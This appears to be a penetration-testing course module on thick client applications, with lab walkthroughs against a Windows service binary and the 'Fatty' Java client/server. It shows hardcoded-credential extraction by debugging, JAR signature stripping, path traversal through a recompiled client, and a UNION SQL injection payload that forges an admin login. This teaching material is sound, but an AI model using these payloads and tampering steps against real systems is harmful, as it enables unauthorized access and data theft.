Thick Client Applications

Attacking Thick Client Applications

Thick client applications are the applications that are installed locally on our computers. Unlike thin client applications that run on a remote server and can be accessed through the web browser, these applications do not require internet access to run, and they perform better in processing power, memory, and storage capacity. Thick client applications are usually applications used in enterprise environments created to serve specific purposes. Such applications include project management systems, customer relationship management systems, inventory management tools, and other productivity software. These applications are usually developed using Java, C++, .NET, or Microsoft Silverlight.

A critical security measure that, for example, Java has is a technology called sandbox. The sandbox is a virtual environment that allows untrusted code, such as code downloaded from the internet, to run safely on a user's system without posing a security risk. In addition, it isolates untrusted code, preventing it from accessing or modifying system resources and other applications without proper authorization. Besides that, there are also Java API restrictions and Code Signing that helps to create a more secure environment.

In a .NET environment, a thick client, also known as a rich client or fat client, refers to an application that performs a significant amount of processing on the client side rather than relying solely on the server for all processing tasks. As a result, thick clients can provide a better performance, more features, and improved user experiences compared to their thin client counterparts, which rely heavily on the server for processing and data storage.

Some examples of thick client applications are web browsers, media players, chatting software, and video games. Some thick client applications are usually available to purchase or download for free through their official website or third-party application stores, while other custom applications that have been created for a specific company, can be delivered directly from the IT department that has developed the software.

Some characteristics of thick client applications are:

• Independent software.

• Working without internet access.

• Storing data locally.

• Less secure.

• Consuming more resources.

• More expensive.

Thick client applications can be categorized into two-tier and three-tier architecture. In two-tier architecture, the application is installed locally on the computer and communicates directly with the database. In the three-tier architecture, applications are also installed locally on the computer, but in order to interact with the databases, they first communicate with an application server, usually using the HTTP/HTTPS protocol. In this case, the application server and the database might be located on the same network or over the internet. This is something that makes three-tier architecture more secure since attackers won't be able to communicate directly with the database. The image below shows the differences between two-tier and three-tier architecture applications.

However, thick client applications are considered less secure than web applications with many attacks being applicable, including:

• Improper Error Handling.

• Hardcoded sensitive data.

• DLL Hijacking.

• Buffer Overflow.

• SQL Injection.

• Insecure Storage.

• Session Management.

Penetration Testing Steps

Information Gathering

In this step, penetration testers have to identify the application architecture, the programming languages and frameworks that have been used, and understand how the application and the infrastructure work. They should also need to identify technologies that are used on the client and server sides and find entry points and user inputs. Testers should also look for identifying common vulnerabilities like the ones we mentioned earlier at the end of the About section. The following tools will help us gather information.

CFF Explorer	Detect It Easy	Process Monitor	Strings

Client Side attacks

Sensitive information like usernames and passwords, tokens, or strings for communication with other services, might be stored in the application's local files. Hardcoded credentials and other sensitive information can also be found in the application's source code, thus Static Analysis is a necessary step while testing the application. Using the proper tools, we can reverse-engineer and examine .NET and Java applications including EXE, DLL, JAR, CLASS, WAR, and other file formats. Dynamic analysis should also be performed in this step, as thick client applications store sensitive information in the memory as well.

Ghidra	IDA	OllyDbg	Radare2
dnSpy	x64dbg	JADX	Frida

Network Side Attacks

If the application is communicating with a local or remote server, network traffic analysis will help us capture sensitive information that might be transferred through HTTP/HTTPS or TCP/UDP connection, and give us a better understanding of how that application is working. Penetration testers that are performing traffic analysis on thick client applications should be familiar with tools like:

Wireshark	tcpdump	TCPView	Burp Suite

Server Side Attacks

Server-side attacks in thick client applications are similar to web application attacks, and penetration testers should pay attention to the most common ones including most of the OWASP Top Ten.

Retrieving hardcoded Credentials from Thick-Client Applications

Exploring the NETLOGON share of the SMB service reveals RestartOracle-Service.exe among other files. Downloading the executable locally and running it through the command line, it seems like it does not run or it runs something hidden.

Downloading the tool ProcMon64 from SysInternals and monitoring the process reveals that the executable indeed creates a temp file in C:\Users\Matt\AppData\Local\Temp.

In order to capture the files, it is required to change the permissions of the Temp folder to disallow file deletions. To do this, we right-click the folder C:\Users\Matt\AppData\Local\Temp and under Properties -> Security -> Advanced -> cybervaca -> Disable inheritance -> Convert inherited permissions into explicit permissions on this object -> Edit -> Show advanced permissions, we deselect the Delete subfolders and files, and Delete checkboxes.

Finally, we click OK -> Apply -> OK -> OK on the open windows. Once the folder permissions have been applied we simply run again the Restart-OracleService.exe and check the temp folder. The file 6F39.bat is created under the C:\Users\cybervaca\AppData\Local\Temp\2. The names of the generated files are random every time the service is running.

Inspecting the content of the file reveals that two files are being dropped by the batch file and being deleted before anyone can get access to the leftovers. We can try to retrieve the content of the 2 files, by modifying the batch script and removing the deletion.

After executing the batch script by double-clicking on it, we wait a few minutes to spot the oracle.txt file which contains another file full of base64 lines, and the script monta.ps1 which contains the following content, under the directory c:\programdata\. Listing the content of the file monta.ps1 reveals the following code.

$salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida))

This script simply reads the contents of the oracle.txt file and decodes it to the restart-service.exe executable. Running this script gives us a final executable that we can further analyze.

Now when executing restart-service.exe we are presented with the banner Restart Oracle created by HelpDesk back in 2010.

Inspecting the execution of the executable through ProcMon64 shows that it is querying multiple things in the registry and does not show anything solid to go by.

Let's start x64dbg, navigate to Options -> Preferences, and uncheck everything except Exit Breakpoint:

By unchecking the other options, the debugging will start directly from the application's exit point.

Then, we can select file -> open and select the restart-service.exe to import it and start the debugging. Once imported, we right click inside the CPU view and Follow in Memory Map:

Checking the memory maps at this stage of the execution, of particular interest is the map with a size of 0000000000003000 with a type of MAP and protection set to -RW--.

Memory-mapped files allow applications to access large files without having to read or write the entire file into memory at once. Instead, the file is mapped to a region of memory that the application can read and write as if it were a regular buffer in memory. This could be a place to potentially look for hardcoded credentials.

If we double-click on it, we will see the magic bytes MZ in the ASCII column that indicates that the file is a DOS MZ executable.

Let's return to the Memory Map pane, then export the newly discovered mapped item from memory to a dump file by right-clicking on the address and selecting Dump Memory to File. Running strings on the exported file reveals some interesting information.

C:\TOOLS\Strings\strings64.exe .\restart-service_00000000001E0000.bin

<SNIP>
"#M
z\V
).NETFramework,Version=v4.0,Profile=Client
FrameworkDisplayName
.NET Framework 4 Client Profile

Reading the output reveals that the dump contains a .NET executable. We can use De4Dot to reverse .NET executables back to the source code by dragging the restart-service_00000000001E0000.bin onto the de4dot executable.

de4dot v3.1.41592.3405

Detected Unknown Obfuscator (C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin)
Cleaning C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin
Renaming all obfuscated symbols
Saving C:\Users\cybervaca\Desktop\restart-service_00000000001E0000-cleaned.bin

Now, we can read the source code of the exported application by dragging and dropping it onto the DnSpy executable.

With the source code disclosed, we can understand that this binary is a custom-made runas.exe with the sole purpose of restarting the Oracle service using hardcoded credentials.

Exploiting Web Vulnerabilities in Thick-Client Applications

Thick client applications with a three-tier architecture have a security advantage over those with a two-tier architecture since it prevents the end-user from communicating directly with the database server. However, three-tier applications can be susceptible to web-specific attacks like SQL Injection and Path Traversal.

During penetration testing, it is common for someone to encounter a thick client application that connects to a server to communicate with the database. The following scenario demonstrates a case where the tester has found the following files while enumerating an FTP server that provides anonymous user access.

• fatty-client.jar

• note.txt

• note2.txt

• note3.txt

Reading the content of all the text files reveals that:

• A server has been reconfigured to run on port 1337 instead of 8000.

• This might be a thick/thin client architecture where the client application still needs to be updated to use the new port.

• The client application relies on Java 8.

• The login credentials for login in the client application are qtc / clarabibi.

Let's run the fatty-client.jar file by double-clicking on it. Once the app is started, we can log in using the credentials qtc / clarabibi.

This is not successful, and the message Connection Error! is displayed. This is probably because the port pointing to the servers needs to be updated from 8000 to 1337. Let's capture and analyze the network traffic using Wireshark to confirm this. Once Wireshark is started, we click on Login once again.

Below is showcased an example on how to approach DNS requests from applications in your favour. Verify the contents of the C:\Windows\System32\drivers\etc\hosts file where the IP 172.16.17.114 is pointed to fatty.htb and server.fatty.htb

The client attempts to connect to the server.fatty.htb subdomain. Let's start a command prompt as administrator and add the following entry to the hosts file.

echo 10.10.10.174    server.fatty.htb >> C:\Windows\System32\drivers\etc\hosts

Inspecting the traffic again reveals that the client is attempting to connect to port 8000.

The fatty-client.jar is a Java Archive file (which is a zip), and its content can be extracted by right-clicking on it and selecting Extract files.

Let's run PowerShell as administrator, navigate to the extracted directory and use the Select-String command to search all the files for port 8000.

ls fatty-client\ -recurse | Select-String "8000" | Select Path, LineNumber | Format-List

There's a match in beans.xml. This is a Spring configuration file containing configuration metadata. Let's read its content.

<SNIP>
<!-- Here we have an constructor based injection, where Spring injects required arguments inside the
         constructor function. -->
   <bean id="connectionContext" class = "htb.fatty.shared.connection.ConnectionContext">
      <constructor-arg index="0" value = "server.fatty.htb"/>
      <constructor-arg index="1" value = "8000"/>
   </bean>

<!-- The next to beans use setter injection. For this kind of injection one needs to define an default
constructor for the object (no arguments) and one needs to define setter methods for the properties. -->
   <bean id="trustedFatty" class = "htb.fatty.shared.connection.TrustedFatty">
      <property name = "keystorePath" value = "fatty.p12"/>
   </bean>

   <bean id="secretHolder" class = "htb.fatty.shared.connection.SecretHolder">
      <property name = "secret" value = "clarabibiclarabibiclarabibi"/>
   </bean>
<SNIP>

Let's edit the line <constructor-arg index="1" value = "8000"/> and set the port to 1337. Reading the content carefully, we also notice that the value of the secret is clarabibiclarabibiclarabibi. Running the edited application will fail due to an SHA-256 digest mismatch. The JAR is signed, validating every file's SHA-256 hashes before running. These hashes are present in the file META-INF/MANIFEST.MF.

Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_232
Main-Class: htb.fatty.client.run.Starter

Name: META-INF/maven/org.slf4j/slf4j-log4j12/pom.properties
SHA-256-Digest: miPHJ+Y50c4aqIcmsko7Z/hdj03XNhHx3C/pZbEp4Cw=

Name: org/springframework/jmx/export/metadata/ManagedOperationParamete
 r.class
SHA-256-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf/FD9h2AMOntcgw=
<SNIP>

Let's remove the hashes from META-INF/MANIFEST.MF and delete the 1.RSA and 1.SF files from the META-INF directory. The modified MANIFEST.MF should end with a new line.

Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_232
Main-Class: htb.fatty.client.run.Starter

We can update and run the fatty-client.jar file by issuing the following commands.

cd .\fatty-client
jar -cmf .\META-INF\MANIFEST.MF ..\fatty-client-new.jar *

Then, we double-click on the fatty-client-new.jar file to start it and try logging in using the credentials qtc / clarabibi.

This time we get the message Login Successful!.

Foothold

Clicking on Profile -> Whoami reveals that the user qtc is assigned with the user role.

Clicking on the ServerStatus, we notice that we can't click on any options.

This implies that there might be another user with higher privileges that is allowed to use this feature. Clicking on the FileBrowser -> Notes.txt reveals the file security.txt. Clicking the Open option at the bottom of the window shows the following content.

This note informs us that a few critical issues in the application still need to be fixed. Navigating to the FileBrowser -> Mail option reveals the dave.txt file containing interesting information. We can read its content by clicking the Open option at the bottom of the window.

The message from dave says that all admin users are removed from the database. It also refers to a timeout implemented in the login procedure to mitigate time-based SQL injection attacks.

Path Traversal

Since we can read files, let's attempt a path traversal attack by giving the following payload in the field and clicking the Open button.

../../../../../../etc/passwd

The server filters out the / character from the input. Let's decompile the application using JD-GUI, by dragging and dropping the fatty-client-new.jar onto the jd-gui.

Save the source code by pressing the Save All Sources option in jdgui. Decompress the fatty-client-new.jar.src.zip by right-clicking and selecting Extract files. The file fatty-client-new.jar.src/htb/fatty/client/methods/Invoker.java handles the application features. Reading its content reveals the following code.

public String showFiles(String folder) throws MessageParseException, MessageBuildException, IOException {
    String methodName = (new Object() {
      
      }).getClass().getEnclosingMethod().getName();
    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
    if (AccessCheck.checkAccess(methodName, this.user))
      return "Error: Method '" + methodName + "' is not allowed for this user account"; 
    this.action = new ActionMessage(this.sessionID, "files");
    this.action.addArgument(folder);
    sendAndRecv();
    if (this.response.hasError())
      return "Error: Your action caused an error on the application server!"; 
    return this.response.getContentAsString();
  }

The showFiles function takes in one argument for the folder name and then sends the data to the server using the sendAndRecv() call. The file fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java sets the folder option. Let's read its content.

configs.addActionListener(new ActionListener() {
          public void actionPerformed(ActionEvent e) {
            String response = "";
            ClientGuiTest.this.currentFolder = "configs";
            try {
              response = ClientGuiTest.this.invoker.showFiles("configs");
            } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
              JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
            } catch (IOException e2) {
              JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
            } 
            textPane.setText(response);
          }
        });

We can replace the configs folder name with .. as follows.

ClientGuiTest.this.currentFolder = "..";
  try {
    response = ClientGuiTest.this.invoker.showFiles("..");

Next, compile the ClientGuiTest.Java file.

javac -cp fatty-client-new.jar fatty-client-new.jar.src\htb\fatty\client\gui\ClientGuiTest.java

This generates several class files. Let's create a new folder and extract the contents of fatty-client-new.jar into it.

mkdir raw
cp fatty-client-new.jar raw\fatty-client-new-2.jar

Navigate to the raw directory and decompress fatty-client-new-2.jar by right-clicking and selecting Extract Here.

Overwrite any existing htb/fatty/client/gui/*.class files with updated class files.

mv -Force fatty-client-new.jar.src\htb\fatty\client\gui\*.class raw\htb\fatty\client\gui\

Finally, we build the new JAR file.

cd raw
jar -cmf META-INF\MANIFEST.MF traverse.jar .

Let's log in to the application and navigate to FileBrowser -> Config option.

This is successful. We can now see the content of the directory configs/../. The files fatty-server.jar and start.sh look interesting. Listing the content of the start.sh file reveals that fatty-server.jar is running inside an Alpine Docker container.

We can modify the open function in fatty-client-new.jar.src/htb/fatty/client/methods/Invoker.java to download the file fatty-server.jar as follows.

import java.io.FileOutputStream;
<SNIP>
public String open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {
    String methodName = (new Object() {}).getClass().getEnclosingMethod().getName();
    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
    if (AccessCheck.checkAccess(methodName, this.user)) {
        return "Error: Method '" + methodName + "' is not allowed for this user account";
    }
    this.action = new ActionMessage(this.sessionID, "open");
    this.action.addArgument(foldername);
    this.action.addArgument(filename);
    sendAndRecv();
    String desktopPath = System.getProperty("user.home") + "\\Desktop\\fatty-server.jar";
    FileOutputStream fos = new FileOutputStream(desktopPath);
    
    if (this.response.hasError()) {
        return "Error: Your action caused an error on the application server!";
    }
    
    byte[] content = this.response.getContent();
    fos.write(content);
    fos.close();
    
    return "Successfully saved the file to " + desktopPath;
}
<SNIP>

Rebuild the JAR file by following the same steps and log in again to the application. Then, navigate to FileBrowser -> Config, add the fatty-server.jar name in the input field, and click the Open button.

The fatty-server.jar file is successfully downloaded onto our desktop, and we can start the examination.

SQL Injection

Decompiling the fatty-server.jar using JD-GUI reveals the file htb/fatty/server/database/FattyDbSession.class that contains a checkLogin() function that handles the login functionality. This function retrieves user details based on the provided username. It then compares the retrieved password with the provided password.

public User checkLogin(User user) throws LoginException {
    <SNIP>
      rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");
      <SNIP>
        if (newUser.getPassword().equalsIgnoreCase(user.getPassword()))
          return newUser; 
        throw new LoginException("Wrong Password!");
      <SNIP>
           this.logger.logError("[-] Failure with SQL query: ==> SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "' <==");
      this.logger.logError("[-] Exception was: '" + e.getMessage() + "'");
      return null;

Let's check how the client application sends credentials to the server. The login button creates the new object ClientGuiTest.this.user for the User class. It then calls the setUsername() and setPassword() functions with the respective username and password values. The values that are returned from these functions are then sent to the server.

Let's check the setUsername() and setPassword() functions from htb/fatty/shared/resources/user.java.

public void setUsername(String username) {
    this.username = username;
  }
  
  public void setPassword(String password) {
    String hashString = this.username + password + "clarabibimakeseverythingsecure";
    MessageDigest digest = null;
    try {
      digest = MessageDigest.getInstance("SHA-256");
    } catch (NoSuchAlgorithmException e) {
      e.printStackTrace();
    } 
    byte[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));
    this.password = DatatypeConverter.printHexBinary(hash);
  }

The username is accepted without modification, but the password is changed to the format below.

sha256(username+password+"clarabibimakeseverythingsecure")

We also notice that the username isn't sanitized and is directly used in the SQL query, making it vulnerable to SQL injection.

rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");

The checkLogin function in htb/fatty/server/database/FattyDbSession.class writes the SQL exception to a log file.

<SNIP>
    this.logger.logError("[-] Failure with SQL query: ==> SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "' <==");
      this.logger.logError("[-] Exception was: '" + e.getMessage() + "'");
<SNIP>

Login into the application using the username qtc' to validate the SQL injection vulnerability reveals a syntax error. To see the error, we need to edit the code in the fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java file as follows.

ClientGuiTest.this.currentFolder = "../logs";
  try {
    response = ClientGuiTest.this.invoker.showFiles("../logs");

Listing the content of the error-log.txt file reveals the following message.

This confirms that the username field is vulnerable to SQL Injection. However, login attempts using payloads such as ' or '1'='1 in both fields fail. Assuming that the username in the login form is ' or '1'='1, the server will process the username as below.

SELECT id,username,email,password,role FROM users WHERE username='' or '1'='1'

The above query succeeds and returns the first record in the database. The server then creates a new user object with the obtained results.

<SNIP>
if (rs.next()) {
        int id = rs.getInt("id");
        String username = rs.getString("username");
        String email = rs.getString("email");
        String password = rs.getString("password");
        String role = rs.getString("role");
        newUser = new User(id, username, password, email, Role.getRoleByName(role), false);
<SNIP>

It then compares the newly created user password with the user-supplied password.

<SNIP>
if (newUser.getPassword().equalsIgnoreCase(user.getPassword()))
    return newUser;
throw new LoginException("Wrong Password!");
<SNIP>

Then, the following value is produced by newUser.getPassword() function.

sha256("qtc"+"clarabibi"+"clarabibimakeseverythingsecure") = 5a67ea356b858a2318017f948ba505fd867ae151d6623ec32be86e9c688bf046

The user-supplied password hash user.getPassword() is calculated as follows.

sha256("' or '1'='1" + "' or '1'='1" + "clarabibimakeseverythingsecure") = cc421e01342afabdd4857e7a1db61d43010951c7d5269e075a029f5d192ee1c8

Although the hash sent to the server by the client doesn't match the one in the database, and the password comparison fails, the SQL injection is still possible using UNION queries. Let's consider the following example.

select * from users where username='john';

+----------+-------------+
| username | password    |
+----------+-------------+
| john     | password123 |
+----------+-------------+

It is possible to create fake entries using the SELECT operator. Let's input an invalid username to create a new user entry.

select * from users where username='test' union select 'admin', 'welcome123';
+----------+-------------+
| username | password    |
+----------+-------------+
| admin    | welcome123  |
+----------+-------------+

Similarly, the injection in the username field can be leveraged to create a fake user entry.

test' UNION SELECT 1,'invaliduser','invalid@a.b','invalidpass','admin

This way, the password, and the assigned role can be controlled. The following snippet of code sends the plaintext password entered in the form. Let's modify the code in htb/fatty/shared/resources/User.java to submit the password as it is from the client application.

public User(int uid, String username, String password, String email, Role role) {
    this.uid = uid;
    this.username = username;
    this.password = password;
    this.email = email;
    this.role = role;
}
public void setPassword(String password) {
    this.password = password;
  }

We can now rebuild the JAR file and attempt to log in using the payload abc' UNION SELECT 1,'abc','[e-mail]','abc','admin in the username field and the random text abc in the password field.

The server will eventually process the following query.

select id,username,email,password,role from users where username='abc' UNION SELECT 1,'abc','[e-mail]','abc','admin'

The first select query fails, while the second returns valid user results with the role admin and the password abc. The password sent to the server is also abc, which results in a successful password comparison, and the application allows us to log in as the user admin.